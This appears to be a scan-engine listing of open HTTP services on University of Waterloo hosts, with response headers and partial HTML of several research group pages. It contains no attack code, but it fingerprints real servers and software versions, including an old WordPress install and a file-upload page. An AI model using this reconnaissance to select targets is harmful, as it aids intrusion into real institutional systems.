<li class="menu-item-home">
<a href="/">
<span>Home</span>
</a>
</li>
<li class="menu-item-faculty">
<a href="/faculty/">
<span>Faculty</span>
</a>
</li>
<li class="menu-item-students">
<a href="/students/">
<span>Students</span>
</a>
</li>
<li class="menu-item-postdocs">
<a href="/postdocs/">
<span>Postdocs</span>
</a>
</li>
<li class="menu-item-courses">
<a href="/courses/">
<span>Courses</span>
</a>
</li>
<li class="menu-item-events">
<a href="/events/">
<span>Events</span>
</a>
</li>
<li class="menu-item-alumni">
<a href="/alumni/">
<span>Alumni</span>
</a>
</li>
<li class="menu-item-positions">
<a href="/positions/">
<span>Positions</span>
</a>
</li>
</ul>
</div>
<button id="toggle-main-menu-mobile" class="hamburger hamburger--slider" type="button" aria-label="Mobile Menu">
<span class="hamburger-box">
<span class="hamburger-inner"></span>
</span>
</button>
</div>
</div>
<div class="intro">
<div class="container">
<img
class="intro-image intro-image-hide-mobile"
src="/images/group-24-09.jpg" />
<br/>
</div>
</div>
<div class="container pb-md-6">
<div class="row">
<div class="col-12 col-
Open service 129.97.167.168:443 · cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK date: Fri, 09 Jan 2026 21:21:18 GMT server: nginx cache-control: private, max-age=0, must-revalidate cache-control: max-age=21600, public content-language: en content-type: text/html;charset=utf-8 etag: W/"1767990864" expires: Sun, 19 Nov 1978 05:00:00 GMT last-modified: Fri, 09 Jan 2026 20:34:24 GMT x-content-type-options: nosniff x-drupal-cache: HIT x-drupal-dynamic-cache: MISS x-frame-options: SAMEORIGIN x-generator: Drupal 9 (https://www.drupal.org) x-pantheon-styx-hostname: styx-fe1fe2-h-5445d9db86-krxrr x-styx-req-id: d387a8bc-ed9a-11f0-b83d-ca32d46a0739 x-ua-compatible: IE=edge age: 2711 accept-ranges: bytes via: 1.1 varnish, 1.1 varnish x-served-by: cache-yyz4566-YYZ, cache-yyz4535-YYZ x-cache: HIT, MISS x-cache-hits: 3, 0 x-timer: S1767993679.571335,VS0,VE6 vary: Accept-Encoding,adv-cdn-origin,Cookie content-security-policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://twitter-widgets.s3.amazonaws.com https://static.ads-twitter.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://*.tintup.com https://*.71n7.com https://d36hc0p18k1aoc.cloudfront.net https://cdn.hypemarks.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://o2.eyereturn.com https://snap.licdn.com https://*.ads.linkedin.com https://*.hscampaigns.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data: x-var-slug: /computer-science var-masked-host: uwat-computer-science.uwaterloo.ca transfer-encoding: chunked strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close
Open service 129.97.167.168:80 · staging-crysp.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://staging-crysp.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · cfm.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://cfm.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · www.scg.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:19 GMT
server: Apache/2.4.58 (Ubuntu)
content-location: index.shtml
vary: negotiate,Accept-Encoding
tcn: choice
cache-control: private, max-age=0, must-revalidate
accept-ranges: bytes
transfer-encoding: chunked
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/
connection: close
Page title: SCG Home Page
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>SCG Home Page</title>
<link rel="stylesheet" type="text/css" href="https://www.scg.uwaterloo.ca/style.css" />
</head>
<body>
<table class="main" width="100%">
<tr>
<td class="photo-box" valign="bottom">
<embed src="https://www.scg.uwaterloo.ca/jlm_talks/scg.svg" type="image/svg+xml" height="100"/>
<!-- a style="font-size:46pt;text-decoration: none;" href="http://www.scg.uwaterloo.ca/">SCG</a -->
</td>
<td valign="top" class="header-box">
<h1>Symbolic Computation Group</h1>
<h3><a href="http://cs.uwaterloo.ca">
David R. Cheriton School of Computer Science</a><br/>
<a href="http://www.uwaterloo.ca">University of Waterloo</a>, Waterloo, Ontario, Canada<br/></h3>
</td>
</tr>
<tr>
<td class="nav-box" width="20%">
<div class="nav-bar">
<ul class="nav-list">
<li><a href="/index.shtml">Home Page</a></li>
<li><a href="/people.shtml">People</a></li>
<li><a href="/papers.shtml">Papers</a></li>
<li><a href="/jlmtalks.shtml">JLM Talks</a></li>
<li><a href="/mathbrush.shtml">MathBrush</a></li>
<li><a href="/conferences.shtml">Conferences</a></li>
<li><a href="/history.shtml">History</a></li>
<li><a href="/relatedlabs.shtml">Related Labs</a></li>
<li><a href="/othersites.shtml">Other Sites</a></li>
<li><a href="/contact.shtml">Contact</a></li>
</ul>
</div>
</td>
<td class="main-box" width="80%">
<h1>Welcome to SCG</h1>
<p>The Symbolic Computation Group is a research group within the <a href="http://www.cs.uwaterloo.ca">David R. Cheriton School of Computer Science</a> in the <a href="http://www.math.uwaterloo.ca/">Faculty of Mathematics</a> at the <a href="http://www.uwaterloo.ca/"> University of Waterloo</a>, Waterloo, Ontario, Canada. SCG is affiliated with <a href="http://orcca.on.ca">the Ontario Research Centre in Computer Algebra (ORCCA)</a>. The principal investigators in the lab are Mark Giesbrecht, George Labahn (director), Éric Schost, Arne Storjohann, and Stephen Watt.</p>
<p>SCG has as its primary goal the design, analysis and implementation of algorithms and systems for computer algebra and symbolic computation. Many of the algorithms developed are incorporated into the <a href="http://www.maplesoft.com/">Maple</a> computer algebra system. </p>
<h2>Main Areas of Interest</h2>
<p> Some of the Symbolic Computation Group's main research interests include:</p>
<ul>
<li>Symbolic Integration.</li>
<li>Exact and symbolic linear algebra.</li>
<li>Hybrid symbolic-numeric computing.</li>
<li>Finding closed-form solutions for ordinary differential equations.</li>
<li>Pen-based mathematics.</li>
<li>Algebraic manipulation of differential and Ore operators. </li>
<li>Rational approximation algorithms. </li>
<li>Sparse polynomials and matrices.</li>
<li>Complexity of algebraic computations. </li>
</ul>
<p> </p></td>
</tr>
</table>
<div class="blurb"></div>
<p class="lastModified">
Last modified on
Wednesday, 28 November 2018, at 13:18 hours.
</p>
</body>
</html>
Open service 129.97.167.168:443 · staging-crysp.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 302 Found date: Fri, 09 Jan 2026 21:21:17 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate location: https://staging-crysp.uwaterloo.ca:443/mellon/login?ReturnTo=%2F transfer-encoding: chunked strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close
Open service 129.97.167.168:80 · rebels.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://rebels.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · exii.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://exii.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · grec.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://grec.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · wwwtest3.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://wwwtest3.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · cfm.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently date: Fri, 09 Jan 2026 21:21:18 GMT server: Apache/2.4.58 (Ubuntu) location: https://uwaterloo.ca/computing-financial-management/ content-length: 343 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/computing-financial-management/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at cfm.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · ripple.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://ripple.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · ripple.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:18 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Sun, 01 Mar 2020 16:40:46 GMT
etag: "687f-59fcdbb80f99d"
accept-ranges: bytes
content-length: 26751
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/
connection: close
Page title: CrySP RIPPLE Facility | University of Waterloo
<!DOCTYPE html>
<html dir="ltr" lang="en" prefix="og: http://ogp.me/ns# article: http://ogp.me/ns/article# book: http://ogp.me/ns/book# profile: http://ogp.me/ns/profile# video: http://ogp.me/ns/video# product: http://ogp.me/ns/product# content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ rdfs: http://www.w3.org/2000/01/rdf-schema# sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# schema: http://schema.org/ v: http://www.w3.org/2006/vcard/ns#">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
<script type="text/x-mathjax-config">MathJax.Hub.Config({ extensions: ['tex2jax.js'], jax: ['input/TeX'], MMLorHTML: { prefer: { Firefox: "MML" }}, tex2jax: { displayMath: [ ['\\[','\\]'] ], inlineMath: [ ['\\(','\\)'] ], processEscapes: true, processClass: 'page', ignoreClass: 'html' }, showProcessingMessages: false, messageStyle: 'none' });
</script>
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<meta content="IE=edge" http-equiv="X-UA-Compatible"/>
<link href="/tmplts/images/twitterlogo.png" rel="image_src"/>
<link href="/cryspfavicon.ico?v=2" rel="shortcut icon" type="image/vnd.microsoft.icon"/>
<title>CrySP RIPPLE Facility | University of Waterloo</title>
<meta content="#000000" name="msapplication-navbutton-color"/>
<meta content="#000000" name="msapplication-TileColor"/>
<link href="/tmplts/css/css_pGY7bbiSKCP_0G6lsHqwRDW-H7rDmYXC3gMgXQqmF2k.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_StRKruvHowrLiniFcHDx63Z5eig5qIEUDpdIeeJlLBc.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_Ukxnm85hApnnC4ns9usvK35rzKUBgHx9JewlJsmWrkk.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_l98GyvcJCxL31fzcLxxvHTgLqzWcV-1DKv50zcCb7y0.css" media="screen" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_sYrFn9bx_LwdljN2XzKQkz8T3IkWrZhekJT1PgTZhVA.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_E9Jx7KnM-yqRxjhPa8EV5J8WR_ykPxCCDdg2xV3lpFg.css" media="screen" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_7o6VCO_OUfmZvLFDyRocbIA7eGi0wI7EPyNDU1AGjeU.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_PWNT08KKUtFCovDiVfueJMA0VD0iVsB9RtxlzxZ2aYw.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_RvRgCkads_HB_FrGnLbr10XHCqFadBbwdN5MW4pcdVI.css" media="print" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/crysp_custom.css" media="all" rel="stylesheet" type="text/css"/>
<script src="/tmplts/js/js_x0MhBQfHNAIO1NwkQgzf_TGN4b8eMmKre3nqUfoQv3w.js" type="text/javascript"></script>
<script src="/tmplts/js/js_0Mzz7ykE2iyxMlpKO5FuKiO3GIfEcOW7SHP1gdqwjWQ.js" type="text/javascript"></script>
<script src="/tmplts/js/js_kPGwSQxri6lkKZIKFDXb1mubUdPj2b705I6Zrz7a-Jg.js" type="text/javascript"></script>
<script src="/tmplts/js/js_pt1OdRwR7ILcmHWAtPLtoiSkWrsN5ZWmylqFwg_mrZs.js" type="text/javascript"></script>
<script src="/tmplts/js/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type="text/javascript"></script>
<script src="/tmplts/js/js_7l39CHTd7CHu66YbjCNUE2Bho6QogcWLv6K2jG4q9wI.js" type="text/javascript"></script>
<script src="/tmplts/js/js_RceNLLT2pJ3mE7Nilzvl40lYy8pm7kNJN9R6zvApeQA.js" type="text/javascript"></script>
<script type="text/javascript">
<!--//--><![CDATA[//><!--
jQuery.extend(Drupal.settings, {
"basePath": "\/computer-science\/",
"pathPrefix": "",
"ajaxPageState": {
"theme": "uw_fdsu_theme_resp",
"theme_token": "4cJLxOh1VOYOHPplyyGYjoSKYrdAHhaoJg-K5jmD0Ik",
"jquery_version": "1.8",
"js": {
"profiles\/uw_base_profile\/modules\/contrib\/responsive_tables_filter\/tablesaw\/js\/t
Open service 129.97.167.168:80 · mc.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://mc.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · mc.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:17 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
accept-ranges: bytes
vary: Accept-Encoding
transfer-encoding: chunked
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: Multicore Lab - University of Waterloo
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Multicore Lab - University of Waterloo</title>
<meta name="keywords" content="" />
<meta name="description" content="" />
<link href="/style/css/templatemo_style.css" rel="stylesheet" type="text/css" />
<link href="/style/css/jquery.ennui.contentslider.css" rel="stylesheet" type="text/css" media="screen,projection" />
<script type="text/javascript" src="/style/js/jquery-1.3.1.min.js"></script>
<script type="text/javascript" src="/style/js/jquery.easing.1.3.js"></script>
<script type="text/javascript" src="/style/js/jquery.ennui.contentslider.js"></script>
<script type="text/javascript">
$(function () {
$('#one').ContentSlider({
width: '430px',
height: '200px',
speed: 600,
easing: 'easeInOutQuart'
});
});
</script>
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-144198902-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag() {
dataLayer.push(arguments);
}
gtag('js', new Date());
gtag('config', 'UA-144198902-1');
</script>
<!-- <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
$('iframe').load(function() {
this.style.height = this.contentWindow.document.body.offsetHeight + 'px';
alert('hi');
});
</script> -->
<!--
<script>
$(document).ready(function(){
$('#testcontent').html('testing!');//.load("assets/facilities/sysinfo_jax/lscpu.txt"); //https://cs.uwaterloo.ca/~t35brown/rift/preview/www_server_status/date_of_status.txt");
});
</script> -->
</head>
<body>
<div id="templatemo_menu_wrapper">
<div id="templatemo_menu">
<ul>
<li><a href="/index.html">Home</a></li>
<li><a href="/news.html">News</a></li>
<li><a href="/people.html">People</a></li>
<li><a href="/facilities.html">Facilities</a></li>
<li><a href="/papers.html">Papers</a></li>
<li><a href="/code.html">Code</a></li>
<li><a href="https://gitlab.com/trbot86/multicore_lab_wiki/wikis/" target="_blank">Wiki <img src="/images/icons/arrow_new_window.png" height="10" /></a></li>
</ul>
</div>
</div>
<div id="templatemo_header_wrapper">
<div id="templatemo_header">
<div id="site_title">
<h1>
<a href="/"><img src="/images/logo2.png" alt="logo" /></a>
</h1>
</div>
<div id="templatemo_slider">
<div id="one" class="contentslider">
<div class="cs_wrapper">
<div class="cs_slider">
<div class="cs_article">
<a href="/code.html#setbench">
<img src="/assets/projects/setbench/slider.png" /></a>
</div>
<div class="cs_article">
<a href="/assets/lectures/sptdc2019">
<img src="/assets/lectures/sptdc2019/slider.png" /></a>
</div>
</div>
</div>
</div>
<div class="cleaner"></div>
</div>
</div>
</div>
<script type="text/javascript">
$(document).ready(function () {
// jquery hack to add class="current" to the correct menu item based on page filename!
Open service 129.97.222.20:443 · margot.uwaterloo.ca
2026-01-09 21:15
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 21:12:16 GMT
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Last-Modified: Thu, 15 May 2014 18:23:05 GMT
ETag: "466e-4f9746356d440"
Accept-Ranges: bytes
Content-Length: 18030
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Page title: MARGOT | Welcome to the MARGOT research project!
<!DOCTYPE html>
<html lang="en-US">
<head>
<title>MARGOT | Welcome to the MARGOT research project!</title>
<!-- Basic Meta Data -->
<meta charset="UTF-8" />
<meta name="copyright" content="" />
<!-- Favicon -->
<link rel="shortcut icon" href="http://margot.uwaterloo.ca/wp-content/themes/vigilance_pro/images/favicon.ico" />
<!-- WordPress -->
<link rel="pingback" href="http://margot.uwaterloo.ca/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="MARGOT » Feed" href="feed/index.html" />
<link rel="alternate" type="application/rss+xml" title="MARGOT » Comments Feed" href="comments/feed/index.html" />
<link rel="alternate" type="application/rss+xml" title="MARGOT » Home Comments Feed" href="home/feed/index.html" />
<link rel='stylesheet' id='smooth_slider_headcss-css' href='wp-content/plugins/smooth-slider/css/skins/default/style.css%3Fver=2.4.css' type='text/css' media='all' />
<link rel='stylesheet' id='vigilance-style-css' href='wp-content/themes/vigilance_pro/style.css' type='text/css' media='all' />
<!--[if lt IE 8]>
<link rel='stylesheet' id='vigilance-ie-style-css' href='http://margot.uwaterloo.ca/wp-content/themes/vigilance_pro/stylesheets/ie.css' type='text/css' media='all' />
<![endif]-->
<!--[if lte IE 6]>
<link rel='stylesheet' id='vigilance-ie6-style-css' href='http://margot.uwaterloo.ca/wp-content/themes/vigilance_pro/stylesheets/ie6.css' type='text/css' media='all' />
<![endif]-->
<link rel='stylesheet' id='cyclone-slider-plugin-styles-css' href='index.html%3Fcyclone_templates_css=1&ver=3.7.3.css' type='text/css' media='all' />
<link rel='stylesheet' id='acx-widget-si-style-css' href='wp-content/plugins/acurax-social-media-widget/style.css%3Fver=3.7.3.css' type='text/css' media='all' />
<script type='text/javascript' src='wp-content/plugins/facebook-activity-feed-widget-for-wordpress/jscolor/jscolor.js%3Fver=3.7.3'></script>
<script type='text/javascript' src='wp-includes/js/jquery/jquery.js%3Fver=1.10.2'></script>
<script type='text/javascript' src='wp-includes/js/jquery/jquery-migrate.min.js%3Fver=1.2.1'></script>
<script type='text/javascript' src='wp-content/plugins/smooth-slider/js/jcycle.js%3Fver=2.4'></script>
<script type='text/javascript' src='wp-content/plugins/fd-footnotes/fdfootnotes.js%3Fver=1.3'></script>
<script type='text/javascript' src='wp-includes/js/comment-reply.min.js%3Fver=3.7.3'></script>
<script type='text/javascript' src='wp-content/themes/vigilance_pro/javascripts/vigilance.js'></script>
<script type='text/javascript' src='wp-content/plugins/cyclone-slider/js/jquery.cycle.all.min.js%3Fver=3.7.3'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://margot.uwaterloo.ca/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="wp-includes/wlwmanifest.xml" />
<link rel='prev' title='J. Paul Getty Museum, MS. Ludwig XV 7, 1405' href='index.html%3Fp=544.html' />
<link rel='next' title='Conference: 1993' href='index.html%3Fp=1038.html' />
<meta name="generator" content="WordPress 3.7.3" />
<link rel='canonical' href='index.html%3Fp=743.html' />
<link rel='shortlink' href='index.html%3Fp=743.html' />
<!-- Starting Styles For Social Media Icon From Acurax International www.acurax.com -->
<style type='text/css'>
#acx_social_widget img
{
width: 32px;
}
#acx_social_widget
{
min-width:0px;
position: static;
}
</style>
<!-- Ending Styles For Social Media Icon From Acurax International www.acurax.com -->
<style type="text/css">
ol.footnotes li {list-style-type:decimal;}
ol.footnotes{font-size:0.8em; color:#666666;} </style>
<style type="text/css">
/*Background
------------------------------------------------------------ */
body { background-color: #fff; }
#wrapper{
background: #fff;
padding: 0 20px 10px 20px;
border-left: 4px solid #fff;
border-right: 4px solid #fff;
}
/*Links
------------------------------------------------------------ */
#content a:link, #content a:visit
Open service 129.97.7.167:443 · ickok4o0go40kcowsocsow0c.pandora.cs.uwaterloo.ca
2026-01-09 21:14
HTTP/1.1 503 Service Unavailable Alt-Svc: h3=":443"; ma=2592000 Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Fri, 09 Jan 2026 21:15:43 GMT Content-Length: 20 Connection: close no available server
Open service 129.97.222.91:443 · waterloo-ar.uwaterloo.ca
2026-01-09 20:36
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 20:36:49 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Fri, 24 Nov 2023 15:31:34 GMT
ETag: "18fd-60ae7a5b4c639"
Accept-Ranges: bytes
Content-Length: 6397
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Page title: AR Molecule Viewer
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="icon" href="ar_icon.ico" />
<title>AR Molecule Viewer</title>
<!--<link rel="stylesheet" href="style.css" />-->
<!--<script src="/script.js" defer></script>-->
<script src="3Dmol-min.js"></script>
<script src="3Dmol.js"></script>
</head>
<body>
<h1 class="title">AR Molecule Viewer</h1>
Open a marker image on your computer, or print this marker image out. On your phone, open the "Augmented Reality Viewer" and point the camera at the marker.
It may take a few seconds for the model to load.
<br>
<br>
<button>
<a href="enter_ar.html" style="text-decoration:none" >Augmented Reality Viewer </a>
</button>
<br>
<br>
<button>
<a href="enter_ar_interact_hemoglobin.html" style="text-decoration:none" >AR Hemoglobin </a>
</button>
<br>
<br>
<button>
<a href="enter_ar_interact_ion_channel.html" style="text-decoration:none" >AR Ion Channel </a>
</button>
<br>
<br>
<button>
<a href="enter_ar_interact_ligand_binder.html" style="text-decoration:none" >AR Ligand Binder </a>
</button>
<br>
<br>
<button>
<a href="enter_ar_interact_sn1.html" style="text-decoration:none" >AR SN1 </a>
</button>
<br>
<br>
<button>
<a href="enter_ar_interact_sn2.html" style="text-decoration:none" >AR SN1 </a>
</button>
<br>
<br>
<br>
<table>
<tr>
<td><a href="hemoglobin_marker.html" style="text-decoration:none" >Hemoglobin Marker </a>
</td>
<td>
<!-- <div style="height: 200px; width: 200px; position: relative;" class='viewer_3Dmoljs' data-href='hemoglobin_model.pdb'
data-select1='chain:A' data-style1='cartoon:color=spectrum' data-select2='resn:HEM' data-style2='stick'
data-select3='resn:OXY' data-style3='sphere'></div> -->
<div class="viewer_container">
<div id="hemoglobin_reaction" class="mol_container" style="max-height: 25vh; max-width: 30vw; height: 300px; width: 400px; position: relative;">
<canvas id="undefined" style="max-height: 25vh; max-width: 30vw; height: 300px; width: 400px; position: relative;" ></canvas>
</div>
</div>
<script>
$(document).ready(function(){
$.get("hemoglobin_model.pdb", function(data) {
wid = $3Dmol.createViewer("hemoglobin_reaction");
set = {
interval: 30,
animation: 'backAndForth',
}
wid.addModelsAsFrames(data, "pdb");
wid.setBackgroundColor(0xF6F6F6);
wid.setStyle({chain:'A'},{cartoon:{color:'spectrum'}});
wid.setStyle({resi:['42','58','64','87','104']},{stick:{colorscheme:"cyanCarbon"}})
wid.setStyle({resn:'HEM'},{stick:{}})
wid.setStyle({resn:'OXY'},{sphere: {scale: 0.7}})
wid.setStyle({elem:'Fe'},{sphere: {scale: 0.7}})
wid.zoomTo();
wid.render();
wid.animate({'loop': set['animation'], 'interval': set['interval']});
});
});
</script>
</td>
<td>Oxygenation of hemoglobin</td>
</tr>
<tr>
<td><a href="ion_channel_marker.html" style="text-decoration:none" >Ion channel </a></td>
<td>
<div class="viewer_container">
<div id="ion_channel" class="mol_container" style="max-height: 25vh; max-width: 30vw; height: 300px; width: 400px; position: relative;">
<canvas id="undefined1" style="max-height: 25vh; max-width: 30vw; height: 300px; width: 400px; position: relative;" ></canvas>
</div>
</div>
<script>
$(document).ready(function(){
$.get("ion_channel.pdb", function(data) {
wid = $3Dmol.createViewer("ion_channel");
set = {
interval: 30,
animation: 'backAndForth',
}
wid.addModelsAsFrames(data, "pdb");
wid.setBackgroundColor(0xF6F6F6);
wid.setStyle({chain:'A'},{cartoon:{color:'pink'}});
wid.setStyle({chain:'B'},{cartoon:{color:'cyan'}});
wid.setStyle({chain:'C'},{cartoon:{color:'white'}});
Open service 129.97.83.99:443 · latex2mobius.uwaterloo.ca
2026-01-09 20:18
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 20:18:43 GMT
Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k
X-Powered-By: PHP/7.2.24
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<!-- <html> -->
<!--
* front-end for latex2mobius project
* Intended to convert .tex files to a usable format for Mobius courses
* Connected to latex2mobius.py to convert .tex files to .html files
* Date created: June 10th, 2020
* Original upload code functionality from W3 Schools
* https://www.w3schools.com/php/php_file_upload.asp
-->
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,400&display=swap" rel="stylesheet">
<link rel="stylesheet" href="styles/styles.css">
<script src="https://use.fontawesome.com/aad47a8511.js"></script>
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
